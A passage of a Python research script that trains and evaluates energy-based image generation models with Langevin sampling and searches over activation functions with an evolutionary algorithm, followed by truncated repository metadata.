temp\n kvs['loss_e'] = loss_e.mean()\n kvs['eps'] = eps.mean()\n kvs['label_ent'] = label_ent\n kvs['loss_ml'] = loss_ml.mean()\n kvs['loss_total'] = loss_total.mean()\n kvs['x_grad'] = np.abs(x_grad).mean()\n kvs['x_grad_first'] = np.abs(x_grad_first).mean()\n kvs['x_off'] = x_off.mean()\n kvs['iter'] = itr\n kvs['gamma'] = gamma\n\n for v, k in zip(grads, [v.name for v in gvs_dict.values()]):\n kvs[k] = np.abs(v).max()\n\n string = \"Obtained a total of \"\n for key, value in kvs.items():\n string += \"{}: {}, \".format(key, value)\n if math.isnan(value):\n return -1.\n\n if hvd.rank() == 0:\n print(string)\n logger.writekvs(kvs)\n else:\n _, x_mod = sess.run(output, feed_dict)\n\n if itr % FLAGS.save_interval == 0 and hvd.rank() == 0:\n saver.save(\n sess,\n osp.join(\n FLAGS.logdir,\n FLAGS.exp,\n 'model_{}'.format(itr)))\n\n if itr % FLAGS.test_interval == 0 and hvd.rank() == 0 and FLAGS.dataset != '2d':\n try_im = x_mod\n orig_im = data_corrupt.squeeze()\n actual_im = rescale_im(data)\n\n orig_im = rescale_im(orig_im)\n try_im = rescale_im(try_im).squeeze()\n\n for i, (im, t_im, actual_im_i) in enumerate(\n zip(orig_im[:20], try_im[:20], actual_im)):\n shape = orig_im.shape[1:]\n new_im = np.zeros((shape[0], shape[1] * 3, *shape[2:]))\n size = shape[1]\n new_im[:, :size] = im\n new_im[:, size:2 * size] = t_im\n new_im[:, 2 * size:] = actual_im_i\n\n log_image(\n new_im, logger, 'train_gen_{}'.format(itr), step=i)\n\n test_im = x_mod\n\n try:\n data_corrupt, data, label = next(dataloader_iterator)\n except BaseException:\n dataloader_iterator = iter(dataloader)\n data_corrupt, data, label = next(dataloader_iterator)\n\n data_corrupt = data_corrupt.numpy()\n\n if FLAGS.replay_batch and (\n x_mod is not None) and len(replay_buffer) > 0:\n replay_batch = replay_buffer.sample(FLAGS.batch_size)\n replay_batch = decompress_x_mod(replay_batch)\n replay_mask = (\n np.random.uniform(\n 0, 1, (FLAGS.batch_size)) > 0.05)\n data_corrupt[replay_mask] = replay_batch[replay_mask]\n\n if FLAGS.dataset == 'cifar10' or FLAGS.dataset == 'imagenet' or FLAGS.dataset == 'imagenetfull':\n n = 128\n\n if FLAGS.dataset == \"imagenetfull\":\n n = 32\n\n if len(replay_buffer) > n:\n data_corrupt = decompress_x_mod(replay_buffer.sample(n))\n elif FLAGS.dataset == 'imagenetfull':\n data_corrupt = np.random.uniform(\n 0, FLAGS.rescale, (n, 128, 128, 3))\n else:\n data_corrupt = np.random.uniform(\n 0, FLAGS.rescale, (n, 32, 32, 3))\n\n if FLAGS.dataset == 'cifar10':\n label = np.eye(10)[np.random.randint(0, 10, (n))]\n else:\n label = np.eye(1000)[\n np.random.randint(\n 0, 1000, (n))]\n\n feed_dict[X_NOISE] = data_corrupt\n\n feed_dict[X] = data\n\n if FLAGS.cclass:\n feed_dict[LABEL] = label\n\n test_x_mod = sess.run(val_output, feed_dict)\n\n try_im = test_x_mod\n orig_im = data_corrupt.squeeze()\n actual_im = rescale_im(data.numpy())\n\n orig_im = rescale_im(orig_im)\n try_im = rescale_im(try_im).squeeze()\n\n for i, (im, t_im, actual_im_i) in enumerate(\n zip(orig_im[:20], try_im[:20], actual_im)):\n\n shape = orig_im.shape[1:]\n new_im = np.zeros((shape[0], shape[1] * 3, *shape[2:]))\n size = shape[1]\n new_im[:, :size] = im\n new_im[:, size:2 * size] = t_im\n new_im[:, 2 * size:] = actual_im_i\n log_image(\n new_im, logger, 'val_gen_{}'.format(itr), step=i)\n\n score, std = get_inception_score(list(try_im), splits=1)\n print(\n \"///Inception score of {} with std of {}\".format(\n score, std))\n kvs = {}\n kvs['inception_score'] = score\n kvs['inception_score_std'] = std\n logger.writekvs(kvs)\n\n if score > best_inception:\n best_inception = score\n saver.save(\n sess,\n osp.join(\n FLAGS.logdir,\n FLAGS.exp,\n 'model_best'))\n\n if itr > 60000 and FLAGS.dataset == \"mnist\":\n assert False\n itr += 1\n print(\"Training iteration:%d\"%itr)\n\n saver.save(sess, osp.join(FLAGS.logdir, FLAGS.exp, 'model_{}'.format(itr)))\n return best_inception\n\ncifar10_map = {0: 'airplane',\n 1: 'automobile',\n 2: 'bird',\n 3: 'cat',\n 4: 'deer',\n 5: 'dog',\n 6: 'frog',\n 7: 'horse',\n 8: 'ship',\n 9: 'truck'}\n\n\ndef test(target_vars, saver, sess, logger, dataloader):\n X_NOISE = target_vars['X_NOISE']\n X = target_vars['X']\n Y = target_vars['Y']\n LABEL = target_vars['LABEL']\n energy_start = target_vars['energy_start']\n x_mod = target_vars['x_mod']\n x_mod = target_vars['test_x_mod']\n energy_neg = target_vars['energy_neg']\n\n np.random.seed(1)\n random.seed(1)\n\n output = [x_mod, energy_start, energy_neg]\n\n dataloader_iterator = iter(dataloader)\n data_corrupt, data, label = next(dataloader_iterator)\n data_corrupt, data, label = data_corrupt.numpy(), data.numpy(), label.numpy()\n\n orig_im = try_im = data_corrupt\n\n if FLAGS.cclass:\n try_im, energy_orig, energy = sess.run(\n output, {X_NOISE: orig_im, Y: label[0:1], LABEL: label})\n else:\n try_im, energy_orig, energy = sess.run(\n output, {X_NOISE: orig_im, Y: label[0:1]})\n\n orig_im = rescale_im(orig_im)\n try_im = rescale_im(try_im)\n actual_im = rescale_im(data)\n\n for i, (im, energy_i, t_im, energy, label_i, actual_im_i) in enumerate(\n zip(orig_im, energy_orig, try_im, energy, label, actual_im)):\n print(\"Generating new image:%d\"%i)\n label_i = np.array(label_i)\n\n shape = orig_im.shape[1:]\n new_im = np.zeros((shape[0], shape[1] * 3, *shape[2:]))\n size = shape[1]\n new_im[:, :size] = im\n new_im[:, size:2 * size] = t_im\n new_im[:, 2 * size:] = actual_im_i\n\n if FLAGS.cclass:\n label_i = np.where(label_i == 1)[0][0]\n if FLAGS.dataset == 'cifar10':\n log_image(new_im, logger, '{}_{:.4f}_now_{:.4f}_{}'.format(\n i, energy_i[0], energy[0], cifar10_map[label_i]), step=i)\n else:\n log_image(\n new_im,\n logger,\n '{}_{:.4f}_now_{:.4f}_{}'.format(\n i,\n energy_i[0],\n energy[0],\n label_i),\n step=i)\n else:\n log_image(\n new_im,\n logger,\n '{}_{:.4f}_now_{:.4f}'.format(\n i,\n energy_i[0],\n energy[0]),\n step=i)\n\n test_ims = list(try_im)\n real_ims = list(actual_im)\n\n for i in tqdm(range(1500 // FLAGS.batch_size + 1)):\n print(\"Generating test and real images:%d\"%i)\n try:\n data_corrupt, data, label = dataloader_iterator.next()\n except BaseException:\n dataloader_iterator = iter(dataloader)\n data_corrupt, data, label = dataloader_iterator.next()\n\n data_corrupt, data, label = data_corrupt.numpy(), data.numpy(), label.numpy()\n\n if FLAGS.cclass:\n try_im, energy_orig, energy = sess.run(\n output, {X_NOISE: data_corrupt, Y: label[0:1], LABEL: label})\n else:\n try_im, energy_orig, energy = sess.run(\n output, {X_NOISE: data_corrupt, Y: label[0:1]})\n\n try_im = rescale_im(try_im)\n real_im = rescale_im(data)\n\n test_ims.extend(list(try_im))\n real_ims.extend(list(real_im))\n\n score, std = get_inception_score(test_ims)\n print(\"!!!Inception score of {} with std of {}\".format(score, std))\n return score\n\n\ndef setup(act_fun):\n channel_num = 3\n if FLAGS.resnet_model:\n print(\"------------------Using ResNet32 model------------\")\n model = ResNet32(\n num_channels=channel_num,\n num_filters=64,\n act_fun=act_fun)\n elif FLAGS.large_model:\n print(\"------------------Using ResNet32Large model------------\")\n model = ResNet32Large(\n num_channels=channel_num,\n num_filters=128,\n train=True,\n act_fun=act_fun)\n elif FLAGS.larger_model:\n print(\"------------------Using ResNet32Larger model------------\")\n model = ResNet32Larger(\n num_channels=channel_num,\n num_filters=128,\n act_fun=act_fun)\n elif FLAGS.wider_model:\n print(\"------------------Using ResNet32Wider model------------\")\n model = ResNet32Wider(\n num_channels=channel_num,\n num_filters=192,\n act_fun=act_fun)\n else:\n print(\"------------------Using MNIST model------------\")\n model = MnistNet(\n num_channels=channel_num,\n num_filters=128,\n act_fun=act_fun)\n batch_size = FLAGS.batch_size\n weights = [model.construct_weights('context_0')]\n\n Y = tf.placeholder(shape=(None), dtype=tf.int32)\n LABEL = None\n X_NOISE = tf.placeholder(shape=(None, 32, 32, 3), dtype=tf.float32)\n X = tf.placeholder(shape=(None, 32, 32, 3), dtype=tf.float32)\n LABEL = tf.placeholder(shape=(None, 10), dtype=tf.float32)\n LABEL_POS = tf.placeholder(shape=(None, 10), dtype=tf.float32)\n # Varibles to run in training\n X_SPLIT = tf.split(X, FLAGS.num_gpus)\n X_NOISE_SPLIT = tf.split(X_NOISE, FLAGS.num_gpus)\n LABEL_SPLIT = tf.split(LABEL, FLAGS.num_gpus)\n LABEL_POS_SPLIT = tf.split(LABEL_POS, FLAGS.num_gpus)\n LABEL_SPLIT_INIT = list(LABEL_SPLIT)\n tower_grads = []\n tower_gen_grads = []\n x_mod_list = []\n\n optimizer = AdamOptimizer(FLAGS.lr, beta1=0.0, beta2=0.999)\n optimizer = hvd.DistributedOptimizer(optimizer)\n\n for j in range(FLAGS.num_gpus):\n if FLAGS.model_cclass:\n ind_batch_size = FLAGS.batch_size // FLAGS.num_gpus\n label_tensor = tf.Variable(\n tf.convert_to_tensor(\n np.reshape(\n np.tile(np.eye(10), (FLAGS.batch_size, 1, 1)),\n (FLAGS.batch_size * 10, 10)),\n dtype=tf.float32),\n trainable=False,\n dtype=tf.float32)\n x_split = tf.tile(\n tf.reshape(\n X_SPLIT[j], (ind_batch_size, 1, 32, 32, 3)), (1, 10, 1, 1, 1))\n x_split = tf.reshape(x_split, (ind_batch_size * 10, 32, 32, 3))\n energy_pos = model.forward(\n x_split,\n weights[0],\n label=label_tensor,\n stop_at_grad=False)\n\n energy_pos_full = tf.reshape(energy_pos, (ind_batch_size, 10))\n energy_partition_est = tf.reduce_logsumexp(\n energy_pos_full, axis=1, keepdims=True)\n uniform = tf.random_uniform(tf.shape(energy_pos_full))\n label_tensor = tf.argmax(-energy_pos_full -\n tf.log(-tf.log(uniform)) - energy_partition_est, axis=1)\n label = tf.one_hot(label_tensor, 10, dtype=tf.float32)\n label = tf.Print(label, [label_tensor, energy_pos_full])\n LABEL_SPLIT[j] = label\n energy_pos = tf.concat(energy_pos, axis=0)\n else:\n energy_pos = [\n model.forward(\n X_SPLIT[j],\n weights[0],\n label=LABEL_POS_SPLIT[j],\n stop_at_grad=False)]\n energy_pos = tf.concat(energy_pos, axis=0)\n\n print(\"Building graph...\")\n x_mod = x_orig = X_NOISE_SPLIT[j]\n\n x_grads = []\n\n energy_negs = []\n loss_energys = []\n\n energy_negs.extend([model.forward(tf.stop_gradient(\n x_mod), weights[0], label=LABEL_SPLIT[j], stop_at_grad=False, reuse=True)])\n eps_begin = tf.zeros(1)\n\n steps = tf.constant(0)\n c = lambda i, x: tf.less(i, FLAGS.num_steps)\n\n def langevin_step(counter, x_mod):\n x_mod = x_mod + tf.random_normal(tf.shape(x_mod),\n mean=0.0,\n stddev=0.005 * FLAGS.rescale * FLAGS.noise_scale)\n\n energy_noise = energy_start = tf.concat(\n [model.forward(\n x_mod,\n weights[0],\n label=LABEL_SPLIT[j],\n reuse=True,\n stop_at_grad=False,\n stop_batch=True)],\n axis=0)\n\n x_grad, label_grad = tf.gradients(\n FLAGS.temperature * energy_noise, [x_mod, LABEL_SPLIT[j]])\n energy_noise_old = energy_noise\n\n lr = FLAGS.step_lr\n\n if FLAGS.proj_norm != 0.0:\n if FLAGS.proj_norm_type == 'l2':\n x_grad = tf.clip_by_norm(x_grad, FLAGS.proj_norm)\n elif FLAGS.proj_norm_type == 'li':\n x_grad = tf.clip_by_value(\n x_grad, -FLAGS.proj_norm, FLAGS.proj_norm)\n else:\n print(\"Other types of projection are not supported!!!\")\n assert False\n\n # Clip gradient norm for now\n if FLAGS.hmc:\n # Step size should be tuned to get around 65% acceptance\n def energy(x):\n return FLAGS.temperature * \\\n model.forward(x, weights[0], label=LABEL_SPLIT[j], reuse=True)\n\n x_last = hmc(x_mod, 15., 10, energy)\n else:\n x_last = x_mod - (lr) * x_grad\n\n x_mod = x_last\n x_mod = tf.clip_by_value(x_mod, 0, FLAGS.rescale)\n\n counter = counter + 1\n\n return counter, x_mod\n\n steps, x_mod = tf.while_loop(c, langevin_step, (steps, x_mod))\n\n energy_eval = model.forward(x_mod, weights[0], label=LABEL_SPLIT[j],\n stop_at_grad=False, reuse=True)\n x_grad = tf.gradients(FLAGS.temperature * energy_eval, [x_mod])[0]\n x_grads.append(x_grad)\n\n energy_negs.append(\n model.forward(\n tf.stop_gradient(x_mod),\n weights[0],\n label=LABEL_SPLIT[j],\n stop_at_grad=False,\n reuse=True))\n\n test_x_mod = x_mod\n\n temp = FLAGS.temperature\n\n energy_neg = energy_negs[-1]\n x_off = tf.reduce_mean(\n tf.abs(x_mod[:tf.shape(X_SPLIT[j])[0]] - X_SPLIT[j]))\n\n loss_energy = model.forward(\n x_mod,\n weights[0],\n reuse=True,\n label=LABEL,\n stop_grad=True)\n\n print(\"Finished processing loop construction ...\")\n\n target_vars = {}\n\n if FLAGS.cclass or FLAGS.model_cclass:\n label_sum = tf.reduce_sum(LABEL_SPLIT[0], axis=0)\n label_prob = label_sum / tf.reduce_sum(label_sum)\n label_ent = -tf.reduce_sum(label_prob *\n tf.math.log(label_prob + 1e-7))\n else:\n label_ent = tf.zeros(1)\n\n target_vars['label_ent'] = label_ent\n\n if FLAGS.train:\n\n if FLAGS.objective == 'logsumexp':\n pos_term = temp * energy_pos\n energy_neg_reduced = (energy_neg - tf.reduce_min(energy_neg))\n coeff = tf.stop_gradient(tf.exp(-temp * energy_neg_reduced))\n norm_constant = tf.stop_gradient(tf.reduce_sum(coeff)) + 1e-4\n pos_loss = tf.reduce_mean(temp * energy_pos)\n neg_loss = coeff * (-1 * temp * energy_neg) / norm_constant\n loss_ml = FLAGS.ml_coeff * (pos_loss + tf.reduce_sum(neg_loss))\n elif FLAGS.objective == 'cd':\n pos_loss = tf.reduce_mean(temp * energy_pos)\n neg_loss = -tf.reduce_mean(temp * energy_neg)\n loss_ml = FLAGS.ml_coeff * (pos_loss + tf.reduce_sum(neg_loss))\n elif FLAGS.objective == 'softplus':\n loss_ml = FLAGS.ml_coeff * \\\n tf.nn.softplus(temp * (energy_pos - energy_neg))\n\n loss_total = tf.reduce_mean(loss_ml)\n\n if not FLAGS.zero_kl:\n loss_total = loss_total + tf.reduce_mean(loss_energy)\n\n loss_total = loss_total + \\\n FLAGS.l2_coeff * (tf.reduce_mean(tf.square(energy_pos)) + tf.reduce_mean(tf.square((energy_neg))))\n\n print(\"Started gradient computation...\")\n gvs = optimizer.compute_gradients(loss_total)\n gvs = [(k, v) for (k, v) in gvs if k is not None]\n\n print(\"Applying gradients...\")\n\n tower_grads.append(gvs)\n\n print(\"Finished applying gradients.\")\n\n target_vars['loss_ml'] = loss_ml\n target_vars['total_loss'] = loss_total\n target_vars['loss_energy'] = loss_energy\n target_vars['weights'] = weights\n target_vars['gvs'] = gvs\n\n target_vars['X'] = X\n target_vars['Y'] = Y\n target_vars['LABEL'] = LABEL\n target_vars['LABEL_POS'] = LABEL_POS\n target_vars['X_NOISE'] = X_NOISE\n target_vars['energy_pos'] = energy_pos\n target_vars['energy_start'] = energy_negs[0]\n\n if len(x_grads) >= 1:\n target_vars['x_grad'] = x_grads[-1]\n target_vars['x_grad_first'] = x_grads[0]\n else:\n target_vars['x_grad'] = tf.zeros(1)\n target_vars['x_grad_first'] = tf.zeros(1)\n\n target_vars['x_mod'] = x_mod\n target_vars['x_off'] = x_off\n target_vars['temp'] = temp\n target_vars['energy_neg'] = energy_neg\n target_vars['test_x_mod'] = test_x_mod\n target_vars['eps_begin'] = eps_begin\n\n if FLAGS.train:\n grads = average_gradients(tower_grads)\n train_op = optimizer.apply_gradients(grads)\n target_vars['train_op'] = train_op\n\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n # if hvd.size() > 1:\n # config.gpu_options.visible_device_list = str(hvd.local_rank())\n\n sess = tf.Session(config=config)\n saver = loader = tf.train.Saver(max_to_keep=30, keep_checkpoint_every_n_hours=6)\n\n total_parameters = 0\n for variable in tf.trainable_variables():\n # shape is an array of tf.Dimension\n shape = variable.get_shape()\n variable_parameters = 1\n for dim in shape:\n variable_parameters *= dim.value\n total_parameters += variable_parameters\n print(\"Model has a total of {} parameters\".format(total_parameters))\n\n sess.run(tf.global_variables_initializer())\n\n resume_itr = 0\n\n if (FLAGS.resume_iter != -1 or not FLAGS.train) and hvd.rank() == 0:\n model_file = osp.join(logdir, 'model_{}'.format(FLAGS.resume_iter))\n resume_itr = FLAGS.resume_iter\n # saver.restore(sess, model_file)\n optimistic_restore(sess, model_file)\n\n sess.run(hvd.broadcast_global_variables(0))\n return target_vars, saver, sess, resume_itr\n\n\nclass EBMProbML:\n def __init__(self, act_fun=tf.nn.leaky_relu):\n print(\"Local rank: \", hvd.local_rank(), hvd.size())\n self.logdir = osp.join(FLAGS.logdir, FLAGS.exp)\n if hvd.rank() == 0:\n if not osp.exists(self.logdir):\n os.makedirs(self.logdir)\n self.logger = TensorBoardOutputFormat(self.logdir)\n else:\n self.logger = None\n # self.act_fun = tf.nn.relu;\n self.act_fun = act_fun\n self.target_vars, self.saver, self.sess, self.resume_itr = setup(self.act_fun)\n \n def train_unconditional(self, data_loader):\n print(\"Training phase\")\n inception_score = train(self.target_vars, \n self.saver,\n self.sess,\n self.logger,\n data_loader,\n self.resume_itr,\n self.logdir)\n return inception_score\n\n def test_unconditional(self, data_loader):\n print(\"Testing phase\")\n inception_score = test(self.target_vars,\n self.saver,\n self.sess,\n self.logger,\n data_loader)\n return inception_score\n\nif __name__ == \"__main__\":\n \n # ebm_prob = EBMProbML(tf.nn.leaky_relu)\n # # ebm_prob = EBMProbML(custom_act)\n # # FLAGS.cclass = True\n # train_inc_score = ebm_prob.train_unconditional(data_loader)\n # print(\"Training inception score:%f\"%train_inc_score)\n\n base_functions=[elu,gelu,linear,relu,selu,sigmoid,softplus,swish,tanh,atan,cos,erf,sin,sqrt]\n base_operations=[maximum,minimum,add,subtract]\n\n evo=EvolutionaryAlgorithm(base_functions,base_operations,min_depth=1,max_depth=3,pop_size=2, n_parallel_nodes=4)\n final_pop = evo.evolve_functions(num_generations=2)\n\n # evo=EvolutionaryAlgorithm(base_functions,base_operations,min_depth=1,max_depth=5,pop_size=30, n_parallel_nodes=4)\n # final_pop = evo.evolve_functions(num_generations=30)\n log=open(\"hof.txt\", 'w')\n for act in evo.hof:\n line = \"{} fitness:\\t{}\\n\".format(act, act.fitness.values[0])\n log.write(line)\n log.close()\n\n\n\n # test_dataset = Cifar10(train=False, rescale=FLAGS.rescale, path=path)\n # test_dataset_1 = torch.utils.data.Subset(test_dataset, list(range(0, 500, 2)))\n # print(\"Length of test dataset:%d\"%len(test_dataset_1))\n # data_loader_1 = DataLoader(test_dataset_1, batch_size=FLAGS.batch_size, num_workers=FLAGS.data_workers, drop_last=True, shuffle=True) \n # print(\"Done loading...\")\n # test_inc_score = ebm_prob.test_unconditional(data_loader_1)\n # print(\"Testing inception score:%f\"%test_inc_score)\n # ", "repo_name": "andynader/ProbabilisticLearningProject", "sub_path": "project_code/ebm_code_release/ebm_train.py", "file_name": "ebm_train.py", "file_ext": "py", "file_size_in_byte": 45088, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.set_printoptions", "line_number": 13, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.disable_v2_behavior", "line_number": 16, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 16, "usage_type": "name"}, {"api_name": "mpi4py.MPI.COMM_WORLD", "line_number": 39, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 39, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 42, "usage_type": "attribute"}, {"api_name": "horovod.tensorflow.init", "line_number": 46, "usage_type": "call"}, {"api_name": "horovod.tensorflow", "line_number": 46, "usage_type": "name"}, {"api_name": "torch.manual_seed", "line_number": 50, "usage_type": "call"}, {"api_name": "horovod.tensorflow.rank", "line_number": 50, "usage_type": "call"}, {"api_name": "horovod.tensorflow", "line_number": 50, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 51, "usage_type": "attribute"}, {"api_name": "horovod.tensorflow.rank", "line_number": 51, "usage_type": "call"}, {"api_name": "horovod.tensorflow", "line_number": 51, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.set_random_seed", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 52, "usage_type": "name"}, {"api_name": "horovod.tensorflow.rank", "line_number": 52, "usage_type": "call"}, {"api_name": "horovod.tensorflow", "line_number": 52, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.FLAGS", "line_number": 54, "usage_type": "attribute"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 54, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_string", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 58, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_string", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 60, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_integer", "line_number": 62, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 62, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 63, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 63, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_integer", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 64, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_string", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 68, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_string", "line_number": 70, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 70, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_integer", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 71, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_integer", "line_number": 72, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 72, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_integer", "line_number": 73, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 73, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_integer", "line_number": 74, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 74, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 75, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 75, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_integer", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 76, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_float", "line_number": 77, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 77, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_integer", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 78, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_float", "line_number": 81, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 81, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_float", "line_number": 82, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 82, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 83, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 83, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 84, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 84, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_integer", "line_number": 85, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 85, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_string", "line_number": 86, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 86, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 89, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 89, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_float", "line_number": 92, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 92, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_string", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 93, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_integer", "line_number": 94, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 94, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_float", "line_number": 95, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 95, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 96, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 96, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 97, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 97, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_float", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 98, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 99, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 99, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_integer", "line_number": 102, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 102, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 103, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 103, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 104, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 104, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 105, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 105, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 106, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 106, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 107, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 107, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 108, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 108, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 111, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 111, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 112, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 112, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_float", "line_number": 113, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 113, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 116, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 116, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 117, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 117, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 118, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 118, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.flags.DEFINE_bool", "line_number": 119, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.flags", "line_number": 119, "usage_type": "name"}, {"api_name": "deap.creator.create", "line_number": 149, "usage_type": "call"}, {"api_name": "deap.creator", "line_number": 149, "usage_type": "name"}, {"api_name": "deap.base.Fitness", "line_number": 149, "usage_type": "attribute"}, {"api_name": "deap.base", "line_number": 149, "usage_type": "name"}, {"api_name": "deap.creator.create", "line_number": 150, "usage_type": "call"}, {"api_name": "deap.creator", "line_number": 150, "usage_type": "name"}, {"api_name": "deap.creator.FitnessMax", "line_number": 150, "usage_type": "attribute"}, {"api_name": "deap.base.Toolbox", "line_number": 152, "usage_type": "call"}, {"api_name": "deap.base", "line_number": 152, "usage_type": "name"}, {"api_name": "deap.tools.initIterate", "line_number": 157, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 157, "usage_type": "name"}, {"api_name": "deap.creator.Individual", "line_number": 157, "usage_type": "attribute"}, {"api_name": "deap.creator", 